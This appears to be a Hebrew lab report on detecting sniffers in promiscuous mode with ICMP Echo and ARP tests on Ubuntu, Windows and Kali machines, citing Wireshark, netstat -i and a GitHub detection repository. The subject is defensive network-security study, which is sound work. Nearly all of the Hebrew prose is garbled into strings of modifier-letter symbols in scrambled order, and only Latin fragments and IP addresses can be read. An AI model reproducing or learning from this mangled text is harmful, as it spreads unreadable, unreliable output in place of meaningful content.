11. ˥˪˷ˮ ˸˞ ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˰˴ˬ˞˟ srp1 .ˢ˧˴˵ˮˣ˲ xʕ ˸˪˟˵ˬ ˢ˪˧˟˥ ˢ˥˧˪˷˪ ,˸˥˪ˣ˷ˣ ˢ˸ˣ˞ ˸ˬ˶˟ 

˸˟˩˷ ˣ˵ˢ .˶˥˞˪ ˭˩ˬ ˞˧ˢ ˢˮ˧ˤ˞ˬ ˢ˟ˣ˷˸˪ )˸˥˞ .(ˢˡ˧ˬ˟ ˸˶ˤˣ˥ˣ ˢ˟ˣ˷˸ ˢ˦˵˲˪ ˣˮ˥˪˷˷ ,

˧˴˵ˮˣ˲ˢ s˶˧ˤ˥˸ ˢ˸ˣ˞ .ˢˡ˧ˬ˟ ˞˪ˣ ˞˧ˢ ˶˧ˤ˥˸ None . 

 ˧˸˥˪˷ ˣˤ ˢ˧˴˵ˮˣ˲˪4 :˫˧˶˦ˬ˶˲ 

1. ˸˞ ˢ˦˵˲ˢ ˢ˸ˣ˞ ˧ˮ˞ ˢ˴ˣ˶ ˥ˣ˪˷˪. 

2. ˸˞ ˭ˬˤˢ ˧˪ˬ˧˯˵ˬˢ ˣ˶ˣ˟˰ ˣˮ˞ ˭˧˧ˮˣ˰ˬ ˸ˣ˩˥˪ ˢ˟ˣ˷˸˪ ˶˥˞˪ ˢ˥˧˪˷ˢ ,ˢ˶˵ˬ˟ ˢˤ-2 ˸ˣ˧ˮ˷. 

3. ˸˞ ˵˷ˬˬˢ ˣ˩˶ˡ ˧ˮ˞ ˢ˴ˣ˶ ˥ˣ˪˷˪ .˧˸˶˥˟ ˨˷ˬˬ˟ ˪˷ ˸˷˶ˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˢ˧˪˞ ˸ˣ˶˟ˣ˥ˬ 

˩ˬˢ˸ˣˮˣ . 

4. ˫˞ ˧ˮ˞ ˭˧˧ˮˣ˰ˬ ˧ˣˣ˧˥˟ ˪˷ ˯ˣ˦˦˯ ˢ˥˧˪˷ˢ )ˢˬ˩ ˸ˣ˦˵˲ ˧˸˥˪˷ ,ˢˬ˩ ˸ˣ˦˵˲ ˣ˪˟˵˸ˢ ˢ˶ˤ˥˟ 

ˣ˩ˣ.(...' ˢ˶˵ˬ˟ ˢˤ ˧˸˶˥˟ ˟˴ˬ˟ ˦˵˷ - ˞˪˪ ˧ˣˣ˧˥. 
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12.  ˡ˰)15 (˵ˣˡ˟ˮ ˢˬ ˢ˶ˣ˵ ˶˥˞˪ ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˪˰˲ˣˢ .˫˞ ˣˮ˪˟˧˵ ˢ˟ˣ˷˸ ,˭ˬ˧˯ ˟˷˥ˬ˷ ˡ˰˧ˢ ˢˮ˰ ˪˰ 

ˢ˷˵˟ˢ ˣˮ˥˪˷˷ ,˸ˣ˶ˬ˪ ˞˧ˢ˷ ˞˪ ˸ˡ˰ˣ˧ˬ ˧˪˞ˣ - ˭˩˪ˣ ˪˩ˣˮ ˥˧ˮˢ˪ ˸ˣ˶˧˟˯˟ ˢˢˣ˟ˠ ˯˧˦˶˩˷ ˸˷˶ˢ 

ˣ˪˷ ˳ˣ˶˲. 

˸ˬˣ˰˪ ˸˞ˤ ,˫˞ ˞˪ ˣˮ˪˟˧˵ ˢ˟ˣ˷˸ - ˭˩˸˧˧ ˯˧˦˶˩ˣ ˸˷˶ˢ ˪˷ ˟˷˥ˬ ˡ˰˧ˢ ˭ˮ˧˯ ˸˞ ˸˷˵˟ s-Echo 

ˣˮ˥˪˷˷ - ˫ˣ˷ˬ ˞ˣˢ˷ ˣˮ˧˞ ˟˴ˬ˟ ˳ˣ˶˲. 

˟ˣ˷˥ ˷˧ˠˡˢ˪ ˭ˮ˷˧˷ ˫ˠ ˸ˣ˟˧˯ ˸ˣ˶˥˞ ˨˩˪ ˞˪˷ ˣˮ˪˟˧˵ ˢ˟ˣ˷˸ ,˸ˣ˶ˬ˪ ˯˧˦˶˩˷ ˸˷˶ˢ ˣ˪˷ ˳ˣ˶˲. ˶˟ˡˮ 

˪˰ ˵˪˥ ˸ˣ˟˧˯ˬ ˣ˪˞ ˨˷ˬˢ˟ . 

.˳ˣ˶˲ ˟˴ˬ˟ ˣˮ˧˞ ˸˷˶ˢ ˯˧˦˶˩˷˩ ˢˮˣ˩ˬˢ ˸˟ˣˠ˸ ˸˞ ˭˥˟ˮ ˢ˪˧˥˸  ˸ˮˣ˩ˬ ˧˸ˬ˶ˢ ˢˬˠˡˢˢ ˨˶ˣ˴˪12.04 

Ubuntu ˬ ˧˸ˡ˶ˣˢ˷)-osboxes.org ˢ˧˪˰ ˧˸ˮ˵˸ˢˣ (Wireshark ˳˧˶ˬ ˥˶˞ˬˢ ˟˷˥ˬˢ .Windows 10. 

:ˢˮˣ˩ˬˢ ˧˦˶˲ 

 

˧˧˸ˢ ˷˲˥ˮ .˧˥˩ˣˮˢ ˟˴ˬˢ ˸˞ ˵ˣˡ˟ˮ ,˸˧˷˞˶ ˢˬˣ˷˶ˢ ˸˞ ˥˵˧ˮˣ ˪ˮ˶˵ˢ ˪˷ ˫˧ˠˣ˪˟ ˳ˣ˶˲ ˟˴ˬ˪ ˸ˣ˯˥

ˣ˧˪˞ ˸˯˥˧˧˸ˬ˷ (˸˧ˮ˩ˡ˰ ˧˩ˢ) ˢˮˣ˶˥˞ˢ: 

 

˳ˣ˶˲ ˟˴ˬˬ ˞˴˧ ˸˷˶ˢ ˯˧˦˶˩˷ ˫˧˞ˣ˶ ˣˮ˞ -  ˯˧˦˶˩ ˢ˞˶ˮ˩ ˪˪˩ ˦˪˲ ˭˧˞ ˫˞ ,˟ˠ˞ .˞˪ ˞ˣˢ ˰ˠ˶˩ ˶ˬˣ˪˩

.(ˢ˪˧˥˸˩˪ˬ ˣ˧˪˞ ˯ˮ˩ˮ ˞˪ ˢ˞˶ˮ˩ ˞ˣˢ ˧˩) ˳ˣ˶˲ ˣˮ˧˞ ˸˷˶ˢ 

 

:ˣˮ˟˸˩˷ ˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ 

 

ˢ.˳ˣ˶˲ ˟˴ˬ˟ ˣˮ˧˞ ˸˷˶ˢ ˯˧˦˶˩˷ ˭˰ˣ˦ ˦˲˧˶˵˯ 

  

ˢ˶˰ˢ :˭ˮ˷˧ ˸ˣˡˣ˵˲ ˸ˣ˲˯ˣˮ ˸ˣ˷ˣ˰˷ ˸˞ ˢˤ ˢ˶ˣ˴˟ ˶˸ˣ˧ ˸˧˟˧˦˧˞ˣ˦ˮ˧˞ )ˣˬ˩ ifconfig x˞ netstat -i, ˫ˠˡˣ˸˷ 

˨˷ˬˢ˟ (˫˪ˣ˞ ˭s ˞˪ ˪˩ ˨˩ ˸ˣˮ˧ˬ˞ ˫˧˸˧˰˪ˣ ˸ˣ˟ˣ˶˵ ˞˪ ˣ˲˵˧˷ ˸˞ ˟˴ˬˢ ˧ˣ˞˶˩ )˭ˢ˧˸˷˪ ˢ˸˧˧ˢ ˢ˧˰˟ ˸ˣˢˤ˪ 

˸˞ ˟˴ˬˢ ˳ˣ˶˲ˢ ˞ˣˢ˷˩ ˞˪ ˢˮ˸˷ˢ ˨˶ˡ s-Terminal ˞˪˞ ˸ˣ˰˴ˬ˞˟ ˮ˩ˣ˸ sˣˬ˩ Wireshark.( 
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:˥˪ˣ˷ˢ ˟˷˥ˬ˟ .˸˪˟˵ˬˢ ˢˮˣ˩ˬˢ ˪˷ˣ ˥˪ˣ˷ˢ ˟˷˥ˬˢ ˪˷ ˸˶ˣ˷˵˸˟ ˭ˮˣ˟˸ˮ 

 

ˢ ˸˟ˣ˸˩˪ ˢ˷˵˟ˢ ˸˞ ˥˪˷ ˥˶˞ˬˢ ˟˷˥ˬˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-IP  ˸˟ˣ˸˩˪ˣ ,ˢˮˣ˩ˬˢ ˪˷MAC  ˭˩˞˷ˣ ˸˲˧ˣˤˬ

.ˢ˟ˣ˷˸ ˢ˶ˤ˥ ˞˪ ˸˶ˣ˷˵˸ ˪˩ ˫˧˞ˣ˶ ˞˪ ˣˮ˞ ˢˬ˴˰ ˢˮˣ˩ˬ˟: 

 

?˰ˣˡˬ ˷ ˫ˣ˷ˬ .ˣˮ˧˪˞ ˸ˡ˰ˣ˧ˬ ˢˮ˧˞˷ ˢ˶ˣ˟˰˸ˢ ˪˩ ˸˞ ˭ˮ˧˯ ˸˷˶ˢ ˯˧˦˶˩Wireshark  ˪˩ ˸˞ ˠ˧˴ˬ

 .ˢˮˮˣ˯ ˣˮ˥˪˷˷ ˢ˦˵˲ˢ˷ ˧˶ˢ ,˳ˣ˶˲ ˣˮ˧˞ ˸˷˶ˢ ˯˧˦˶˩˷ ˫ˣ˷ˬ .˸˷˶ˢ ˯˧˦˶˩ ˸˞ ˢ˶˟˰˷ ˢ˶ˣ˟˰˸ˢ 

 .ˣˮ˧˸ˣ˧˲˧˴ ˸˞ ˸ˬ˞ˣ˸ˣ ˢˮ˧˵˸ ˣˤ ˸ˣˠˢˮ˸ˢ 

.˳ˣ˶˲ ˸˷˶ˢ ˯˧˦˶˩ ˶˷˞˩ ˟˷˥ˬˢ ˸ˣˠˢˮ˸ˢ ˸˞ ˭˥˟ˮ ˸˰˩  ˸ˮˣ˩ˬ˟Ubuntu ˮ ˸˞ ˳˧˶wireshark  ˟˴ˬ˟

 ˸ˣ˞˷˶ˢ ˸˥˸ ˳ˣ˶˲root: 

 

:˳˶˲ˮ ˸˷˶ˢ ˯˧˦˶˩ ˭˩˞ˣ 
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 ˨˶ˡ ˫˧ˡ˟ˣ˰ ˞˪ ˫˸˞ ˫˞) ˭˧˲ˣ˪˥˪ ˣ˞Wireshark  ˣ˞Sniffer  ˢˮ˷ˮ (˸˧˦ˬˣ˦ˣ˞ ˳ˣ˶˲ ˟˴ˬ˪ ˯˧ˮ˩ˬ˷ ˶˥˞

:˸˧ˮˡ˧ ˸˷˶ˢ ˯˧˦˶˩ ˸˞ 

 

 ˪ˠˡˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮP )Promiscuous˪ ˱˯ˣˣ˸ˢ (-Interface . 

 

˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ :˸˧ˮ˷˟ 

 

.˳ˣ˶˲ ˸˷˶ˢ ˯˧˦˶˩˷ ˢˮˣ˩ˮ ˸ˣˢˤ˪ ˣˮ˥˪˴ˢ :˸˶ˣ˷˵˸˟ ˭ˮˣ˟˸ˮ 

 

 ˸˟ˣ˷˸ ˢ˪˟˵˸ˢ ˫˰˲ˢEcho Replyˢ ˸˷˵˟˪ ˟˧ˠˢ ˵ˡ˟ˮˢ ˟˷˥ˬˢ .-ICMP Echo  ˸ˣ˶ˬ˪ ˣˮ˪˷

ˢ ˸˟ˣ˸˩ ˸ˮ˧˥˟ˬ˷-MAC .ˣ˧˪˞ ˸ˡ˰ˣ˧ˬ ˞˪ ˪˪˩˟ ˞˧ˢ  ˸ˮˣ˩ˬ ˪˰ ˫ˠ ˦˲˧˶˵˯ˢ ˸˞ ˧˸˧˯˧ˮKali 2018.4 

 .˸ˣˢˤ ˣ˧ˢ ˸ˣ˞˴ˣ˸ˢˣ 

 ˣˤ ˢ˦˧˷ ˞˪ ˫ˣ˧˩ ˫˪ˣ˞ ,ˣˤ ˢ˵˧ˡ˟ ˫˧˰˴˟ˬ ˢ˟ ˸˧˦˶ˡˮ˦˯ˢ ˨˶ˡ˪ ˢ˟˷˥ˮˣ ˭ˬˤ ˢ˟˶ˢ ˧ˡ ˷ˣˬ˧˷˟ ˢ˸˧˧ˢ

 ˶˧ˤ˥˸ ˸ˣ˟˶ ˫˧˸˧˰˪ˣ ˸˵˧ˣˡˬ ˢˮ˧˞ ˞˧ˢ ˸ˣ˧ˮ˶ˡˣˬ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟˷ ˫ˣ˷ˬ ˧ˡ˰˪˟ ˧˪˩˩ ˢ˟ ˫˧˷ˬ˸˷ˬ

 ˶˵˧˰˟) ˸ˣ˧ˣˠ˷ ˸ˣ˞˴ˣ˸False Negatives .( 

˟ˠ˞ ,˨˷ˬˢ˟ ˢ˴˪ˬˢ˪ ˸ˬˡˣ˵ˢ ˞˪ ˨ˬ˸˯ˢ˪ ˪˰  netstat -i˸ˣ˶ˬ˪ ˞˧ˢ˷ ˨˶ˡ ˸˴˵ ˶˸ˣ˧ ˢ˥ˣˮ - ˞˧ˢ 

ˢˠ˧˴ˬ ˫ˠ ˸˞ ˟˴ˬˢ Point to Point ˩-"P"- ˢˬ ˧ˣ˷˰˷ ˶ˣ˴˧˪ ˞˪ ˦˰ˬ ˪ˣ˟˪˟) .ˡˣ˵ ˶ˣ˵ˬˢ ˪˷ 

netstat( 

https://github.com/ecki/net-tools/blob/0eebece8c964e3cfa8a018f42b2e7e751a7009a0/lib/interface.c#L627-L634
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 ˸ˮˣ˩ˬ ˧˸ˬ˶ˢ :ˢˬˠˣˡ ˢ˞˶ˮWindows 7 )64 bit ,SP1˩ .(ˢ ˸˟ˣ˸-IP :˞˧ˢ ˢ˪˷ 192.168.237.132 . ˳˧˶ˮ

 ˢ˧˪˰Wireshark ˟˴ˬ˟Promiscuous  ˷ ˞ˡˣˣˮˣWireshark  ˸ˡ˰ˣ˧ˬ ˞˪˷ ˸˶ˣ˷˵˸ ˸ˣ˞˶˪ ˥˧˪˴ˬ ˸ˬ˞˟

 .ˣ˧˪˞ 

 ˸˦˵˲ ˥˪˷ˮIP  ˸ˣ˟ˣ˸˩ ˫˰ MACˣIP- ˸ˣ˵˶˟ˣ˲ˬ: 

 

:˱˧ˮ˯ˬˢ ˟˷˥ˬ˟ ˢ˪˟˵˸ˢ ˞˧ˢ ˭˩˞ˣ 

 

˱˧ˮ˯ˬˢ ˸˞ ˯ˣ˲˸˪ ˢ˲˴ˮˣ ˦˲˧˶˵˯ˢ ˸˞ ˪˧˰˲ˮ ˸˰˩ .ˢ˲˧: 

 

?˱˧ˮ˯ˬˢ ˸˞ ˸ˣˢˤ˪ ˥˧˪˴ˢ ˞˪ ˦˲˧˶˵˯ˢ ˢˬ˪ ?ˢ˲ ˢ˶ˣ˵ ˢˬ ...˯˲ˣ˞  ˧˲˩ ˸˶ˣ˷˵˸ˢ ˸˞ ˵ˣˡ˟ˮ

 :˱˧ˮ˯ˬˢ ˟˷˥ˬ˟ ˢ˪˟˵˸ˢ˷ 

 

ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-ICMP Echo Request .ˢ˟ˣ˷˸ ˢ˶ˤ˥ ˞˪ ˫˪ˣ˞ ˭˧˵˸ ˭˲ˣ˞˟ ˢ˪˟˵˸ˢ ˭˧˧ˮ˰ˬ. 
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 ˥ˣ˪˷˪ ˢ˯ˮˮ .˶˸ˣ˧ ˧˯˧˯˟ ˣˢ˷ˬ ˢ˯ˮˮ ˣ˞ˣ˟ICMP Echo ˪˧ˠ˶- ˣˤˬ ˸ˣ˟ˣ˸˩ ˧˪˟ˢ˶ˣ˵ ˢˬ ˢ˞˶ˮˣ ˸ˣ˲˧: 

 

:˱˧ˮ˯ˬˢ ˟˷˥ˬ˟ 

 

 ˸˶ˣ˷˵˸ ˸ˣ˞˶˪ ˥˧˪˴ˬ ˱˧ˮ˯ˬˢ ˟˷˥ˬˢ .˭˞˩ ˢ˶ˣ˵ ˢˬ ˭˧˟ˮ ˣ˞ˣ˟ .ˢ˟ˣ˷˸ ˣˮ˪˟˧˵ ˞˪ˣ ˣˮ˪˷˩ˮ ˭˞˩ ˫ˠ

ˣ˧˪˞ ˸ˡ˰ˣ˧ˬ ˢˮ˧˞˷-  .˳ˣ˶˲ ˟˴ˬ˟ ˭˩˞ ˞ˣˢ ˶ˬˣ˪˩ 

 ˸ˣ˷˵˟ ˪˟˵ˬ ˞ˣˢICMP Echo˭ˮ˧˞˷ ˸ˣ˷˵˟ ˫ˠˣ ˣ˧˪˞ ˸ˣˡ˰ˣ˧ˬˢ ˸ˣ˷˵˟ ˫ˠ ,-  .ˠˣ˯ ˱˞˪ ˢˮˣ˰ ˞˪ˣ 

ˮˢ ˸˞ ˵ˣˡ˟-Firewall  ˪˷Windows  :˧˦ˮˣˣ˪˶ ˣˢ˷ˬ ˞˴ˬˮ˷ ˡ˰ ˫˧˵ˣ˥ˢ ˧ˮ˲ ˪˰ ˶ˣ˟˰ˮˣ 

 

 ˸˶ˣ˷˵˸ ˶˧˸ˬ ˢˤ ˵ˣ˥ICMPv4 ˸˧ˬ˧ˮ˲ˢ ˸˷˶ˢ ˨ˣ˸˟- .ˣˮ˪ ˢˮˣ˰ ˞˪ ˟˷˥ˬˢ ˭˩˪ˣ ˢ˟ˣ˩ˬ ˞ˣˢ ˫˪ˣ˞ 

:ˣ˸ˣ˞ ˵˧˪ˡˮ 

 

:˸˶ˣ˷˵˸ ˷˧˷ ˵ˣˡ˟ˮ 

 

:˦˲˧˶˵˯ˢ ˸˞ ˪˧˰˲ˮ ˸˰˩ 

 

 .ˢˮˣ˩ˬˢ ˸˞ ˸ˣˢˤ˪ ˥˧˪˴ˢ ˞ˣˢ ˭˩˞ˣ 
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˯ˮ:ˢˮˣ˶˥˞ˢ ˢˬˠˣˡˢ ˸˞ ˫˩ 

ˢ ˸ˣˮˣ˩ˬ˟-Linux .ˢ˶ˣ˷˩ ˢ˪˰˲ ˣˤ ˢˡˣ˸ˬ˷ ˣˮ˧˞˶ ˣˮ˵ˡ˟˷ ˢ ˸ˮˣ˩ˬ˟-Windows -  ˢˮ˧˞ ˷˞ˢ ˸ˬˣ˥

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˸˶ˣ˷˵˸ ˧˦˪ˣ˲˧ˡ ˭˲ˣ˞˟ ˸˶˷˲˞ˬICMP  ˣˮ˪˷ ˦˲˧˶˵˯ˢ .ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ ˞˪ ˡ˰˧ˢ ˟˷˥ˬ ,˭˩˪ˣ

ˢ˷ ˫ˣ˷ˬ ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ ˞˪ ˞ˣˢ˷ ˟˷˥-NIC ˮ˧˞ ˞ˣˢ ˧˩ ˢ˶ˣ˟˰˸ˢ ˸˞ ˭ˮ˧˯ ˢ˞˴ˣ˸ ˶˧ˤ˥ˢ ˭˩˪ˣ ˳ˣ˶˲ ˣ

 .ˢ˧ˣˠ˷ 

˵ˬˣ˰˪ ˶˸ˣ˧ ˸˴˵ ˢˤ ˪˰ ˟ˣ˷˥ˮ -  ˶˧ˤ˥ˢ ˞˪ ˡ˰˧ˢ ˟˷˥ˬ ˰ˣˡˬ ˸˰ˡ˪ ˨˶ˡ ˫ˣ˷ ˭˧˞ ˣˮ˪˷ ˦˲˧˶˵˯˪

ˢ˟ˣ˷˸-  ˧ˮ˲ˬ ˸ˣ˵ˬ˥˸ˢ˪ ˸ˮ˧˧ˮ˰ˬ ˢ˦˧˷ ˭˞˩ ˫˧˞ˣ˶ ˣˮ˞ ˢ˷˰ˬ˪ .˳ˣ˶˲ ˣˮ˧˞ ˞ˣˢ˷ ˫ˣ˷ˬ ˢˤ˷ ˥˧ˮ˧ ˞ˣˢˣ

˫˧˶˲˧ˮ˯ ˧˦ˮ˞ -  ˸ˣ˰˴ˬ˞˟Firewall ˣ˥ˢ ˸˶ˣ˷˵˸ˢ ˸˞ ˫˯ˣ˥˷ .ˢ˴ 

ARP Test 

 ˸˦˵˲ ˥ˣ˪˷˪ ˫ˣ˵ˬ˟ ˫˪ˣ˞ ˸ˬˡˣ˵ˢ ˢ˦˧˷˪ ˢˢˤ ˭ˣ˶˵˧˰ ˪˰ ˸˯˯˟˸ˬ ˣˤ ˢ˦˧˷ICMP  ˸˟ˣ˸˩ ˫˰MAC 

 ˪ˣ˵ˣ˦ˣ˶˲ ˸˶ˤ˰˟ ˪˟˞ ˶˟ˡ ˣ˸ˣ˞ ˢ˷˰ˮ ,˸˲˧ˣˤˬ5ARP . 

 ˪ˣ˵ˣ˦ˣ˶˲ARPˢ ˸˟ˣ˸˩ ˸˞ ˶˶˟˪ ˣˮ˪ ˰˧˧˯ˬ ,-MAC ˢ ˸˟ˣ˸˩ ˸˞ ˫˧˰ˡˣ˧ ˣˮˮ˧˞˷ ˫˧˟˷˥ˬ ˪˷-MAC 

ˢ ˸˟ˣ˸˩ ˸˞ ˭˩ ˪˟˞ ˫ˢ˪˷-IP ˢ˪˷) ˢ˷˵˟ ˸˪˧˟˥ ˥˪˷ˮ ˭˧˵˸ ˭˲ˣ˞˟ .˫ARP Request ˸˟ˣ˸˩˪ (

Broadcastˢ ˸˟ˣ˸˩ ˸˞ ˫˧ˮ˧˧˴ˬ ˢ˷˵˟˟ .-IP .ˡ˰˧ˢ ˪˷ 

ˢ ˸˟ˣ˸˩ ˸˞ ˢˢˤˬ˷ ˡ˰˧ˢ ˵˶ ˪˟˞ ˢ˷˵˟ˢ ˸˞ ˫˧˞ˣ˶ ˸˷˶˟ ˫˧˟˷˥ˬˢ ˪˪˩-IP  ˣ˪˷-  ˫˰ ˢ˶ˤ˥˟ ˢˮˣ˰

ˢ ˸˟ˣ˸˩-MAC ˢ ˸˟ˣ˸˩ ˧ˢˬ ˰ˡˣ˧ ˥˪ˣ˷ˢ ˨˩ˣ ˣ˪˷-MAC ˨˷ˬˢ˟ ˢ˧˪˞ ˸ˣˮ˲˪ ˶ˣˬ˞ ˞ˣˢ˷  .˸˶ˣ˷˵˸ˢ

ˢ ˪˷ ˡˣˬ˧˴ˢ ˸˞ ˶ˬˣ˷ ˞ˣˢ-MAC sx- IP) ˸ˡ˥ˣ˧ˬ ˢ˪˟˦˟ARP Cache Table ˸˟ˣ˸˩˟ ˪˵˸˧˧ ˞ˣˢ˷˩ˣ (IP 

˟˸ˣˮ˲˪ ˸˧ˤ˧˲ ˸˟ˣ˸˩ ˣˤ˧˞˪ ˰ˡ˧ ˞ˣˢ ˨˷ˬˢ: 

 
].wikia.com/wiki/File:Image0021268491809942.jpghttp://computerprojectsduff[ 

                                                           
 

5
 https://he.wikipedia.org/wiki/Address_Resolution_Protocol 

http://computerprojectsduff.wikia.com/wiki/File:Image0021268491809942.jpg
https://he.wikipedia.org/wiki/Address_Resolution_Protocol
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 ˪ˣ˵ˣ˦ˣ˶˲˪ ˡˣˠ˧ˮ˟ICMP ˣˮ˧˞˶˷ ˧˲˩˷ -  ˪˷ ˸ˣ˷ˡ˥ˢ ˸ˣ˞˯˶ˠ˟ ˪˶˦ˣˮˬ ˰˧ˠˬwindows ˪ˣ˵ˣ˦ˣ˶˲ ,ARP 

 ˪˰ ˸ˣ˯˯˟˸ˬˢ ˸ˣ˧ˮ˶ˡˣˬˢ ˸˶ˣ˷˵˸ˢ ˸ˣ˸˷˶ ˸˧˟˶ˬ .˶˸ˣ˧ ˧ˮˣ˧˥ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢIPv4 ˟ ˷ˣˬ˧˷ ˸ˣ˷ˣ˰-

6ARP. 

ˬˣˬ ˢˮˮ˧˞ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲ ˸ˬ˧˯˥˟˷˥ˬˢ ˪˷ ˸˶ˣ˷˵˸ˢ ˸ˣ˪ˣ˩˧˟ ˰ˣˠ˲˪ ˢ˧ˣ˷˰ ˞˧ˢ˷ ˫ˣ˷ˬ ˸˴˪ -  ˢˬ

.˸ˣ˷˰˪ ˣ˴˶˧ ˞˪ ˫˧˷ˬ˸˷ˬˢ ˟ˣ˶˷ 

 ˸ˣ˷˵˟˪ ˢˮˣ˰ ˣˮ˧˞˷ ˟˷˥ˬARP  ˞˪˷ ˟˷˥ˬˣ ,˸˧ˤ˧˲ˢ ˣ˸˟ˣ˸˩ ˸˞ ˫˧˰ˡˣ˧ ˞˪˷ ˫˧˟˷˥ˬ ˧"˰ ˞˴ˬ˧˧ ˞˪

 ˸ˣ˷˵˟ ˥˪ˣ˷ARP ˟ ˣ˪˴˞ ˫˧˶ˣˬ˷ ˞˪˷ ˫˧˟˷˥ˬ ˫˰ ˶˷˵˸˪ ˪˩ˣ˧ ˞˪-Cache . 

 

 ˯˯˟˸ˮ ˣˮ˞ ,˭˞˩ ˫ˠ˳ˣ˶˲ ˸˷˶ˢ ˯˧˦˶˩ ˫˞˷ ˢ˥ˮˢˢ ˪˰ -  ˸˷˵˟ ˪˩ ˪˰ ˢˮ˰˧ ˡ˰˧ˢ ˟˷˥ˬ ˤ˞ARP 

ˢ ˸˟ˣ˸˩˷-IP ˢ ˸˟ˣ˸˩ ˫˞ ˢˮ˷ˬ ˞˪ ,ˣ˧˪˰ ˢ˰˧˟˴ˬ ˢ˟-MAC  ˫˞ ,˸˞ˤ ˸ˬˣ˰˪ .˞˪ ˣ˞ ˣ˧˪˞ ˸ˡ˰ˣ˧ˬ

 ˸˟ˣ˸˩ ˥˪˷ˮˣ ˳ˣ˶˲ ˣˮ˧˞ ˸˷˶ˢ ˯˧˦˶˩MAC  ˢˮ˧˞˷ ˣ˞ ˣ˸˟ˣ˸˩ ˢˮ˧˞˷Broadcast -  ˢ˸ˣ˞ ˭ˮ˯˧ ˞ˣˢ ˤ˞

 .ˢ˟ˣ˷˸ ˪˩ ˢ˞˶ˮ ˞˪ˣ 

 ˢˮ˟ˮˢˬˣˡ ˦˲˧˶˵˯: 

 

˫˧˧ˣˮ˧˷ˢ ˸˞ ˶˧˟˯ˮ :(˸ˣ˶ˣ˷ˢ ˶˲˯ˬ ˧˲ ˪˰) 

10. ˢ˟˩˷ˢ ˢˮˣ˷˞˶ˢ ˞˧ˢ Ethernet ,ˢ˟˷ ˣˮ˞ ˫˧ˮ˧˧˴ˬ ˸˟ˣ˸˩ ˡ˰˧ ˸˧ˤ˧˲ )MAC (˸˲˧ˣˤˬ . 

11. ˪˰ ˟ˠ ˧˸˟˩˷ s- Ethernet˫˧˷ˮ ˸˞ ˸˟˩˷ s-ARP .˸˟ˣ˸˩ ˡ˰˧ˢ ˸˧ˠˣ˪ˢ )IP (ˢ˧ˢ˸ ˸˟ˣ˸˩ˢ 

˸˧˸ˬ˞ˢ ˪˷ ˟˷˥ˬˢ ˡˣ˷˥ˢ. 

12. ˥˪˷ˮ ˸˞ ˢ˷˵˟ˢ )˟˴ˬ˟ ˦˵˷ ,˞˪˪ ˧ˣˣ˧˥ ˪˰ ˯ˣ˦˦˯ ˢ˥˧˪˷ˢ (˭˧˸ˬˮˣ ˢ˟ˣ˷˸˪ . 

13. )ˡ˰ 16 :(ˢˬˣˡ˟ ˦˲˧˶˵˯˪ ˫ˡˣ˵ˢ ,˫˞ ˣˮ˪˟˧˵ ˢ˟ˣ˷˸ - ˧˶ˢ ˟˷˥ˬˢ˷ ˡˣ˷˥ˢ ˫˪˰˸ˢ ˨˩ˬ 

ˢ˪˧˟˥ˢ˷ ˞˪ ˸ˡ˰ˣ˧ˬ ˣ˧˪˞ ˭˩˪ˣ ˢ˞˶ˮ˩ ˯˧˦˶˩ ˸˷˶ˢ ˣ˪˷ ˟˴ˬ˟ ˳ˣ˶˲ . 

 ˤ˞ ,˟ˣ˦˷?˳˧˶ˮ 

  

                                                           
 

6
 ˟-IPv6 - ARP ˞˪ ˧˦ˮˣˣ˪˶ ˶˸ˣ˧ )˪˟˞ ˢˤ ˞˷ˣˮ ˶˥˞.( 

˧˪ˢˮˬ ˸˷˶ ˫˧˪ˣ˩˧ ˶˧ˡˠˢ˪ ˸˪˟˦ ARP ˸˧˦˦˯ ˭˧˟ ˫˧˟˷˥ˬ ˢ˸ˣ˞˟ ˸˷˶ˢ ˨˩ˣ ˫˧˟˷˥ˬ ˣ˪˞ ˞˪ ˣ˷˰˧ ˷ˣˬ˧˷ 

˪ˣ˵ˣ˦ˣ˶˲˟ ARP ,˫˪ˣ˞ ˢ˦˧˷˪ xʕ ˸ˣˮˣ˶˯˥ ˫˧˟˶ .˪˷ˬ˪ ,˶ˣ˟˰ ˪˩ ˟˷˥ˬ ˷ˡ˥ ˱˶˦˴˧˷ ˸˷˶˪ ,˧˪ˢˮˬ ˸˷˶ˢ 

ˣ˩˶˦˴˧ ˪˶˧ˡˠˢ ˢˬˣ˷˶ ˸˲˯ˣˮ ˪˩˟ ˫˧˟˷˥ˬˢ ˫˧˶˥˞ˢ .˸˧˟˶ˬ˟ ˫˧˶˵ˬˢ ˱˧ˡ˰ ˶˷˲˞˪ ˸˞ ˪ˣ˵ˣ˦ˣ˶˲ ARP 

˸˸˪ˣ ˫˧˟˷˥ˬ˪ ˞ˣ˴ˬ˪ ˸˞ ˸˟ˣ˸˩ˢ MAC ˪˷ ˫ˢ˧˶˟˥ ˭˲ˣ˞˟ ˧ˬ˞ˮ˧ˡ. 

https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/arp_detection.py
https://en.wikipedia.org/wiki/Neighbor_Discovery_Protocol
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ˢ ˸ˮˣ˩ˬ ˸˞ ˟ˣ˷ ˧˸ˬ˶ˢ-Ubuntu 12.04  ˫˰ ˣˮ˪˷ˢ˸˟ˣ˸˩ :192.168.237.128.˳ˣ˶˲ ˟˴ˬ˟ ˞˪ ˞˧ˢ˷˩ , 

:˳ˣ˶˲ ˟˴ˬ˟ ˞˪ ˭˩˞ ˞˧ˢ˷ ˢˢ˧ˤ˷ ˦˲˧˶˵˯ˢ ˸˞ ˧˸˴˶ˢ 

 

:ˢ˶ˣ˷˩ ˢ˥˪˷ˮ ˢ˷˵˟ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˥˪ˣ˷ˢ ˟˷˥ˬ˟ 

 

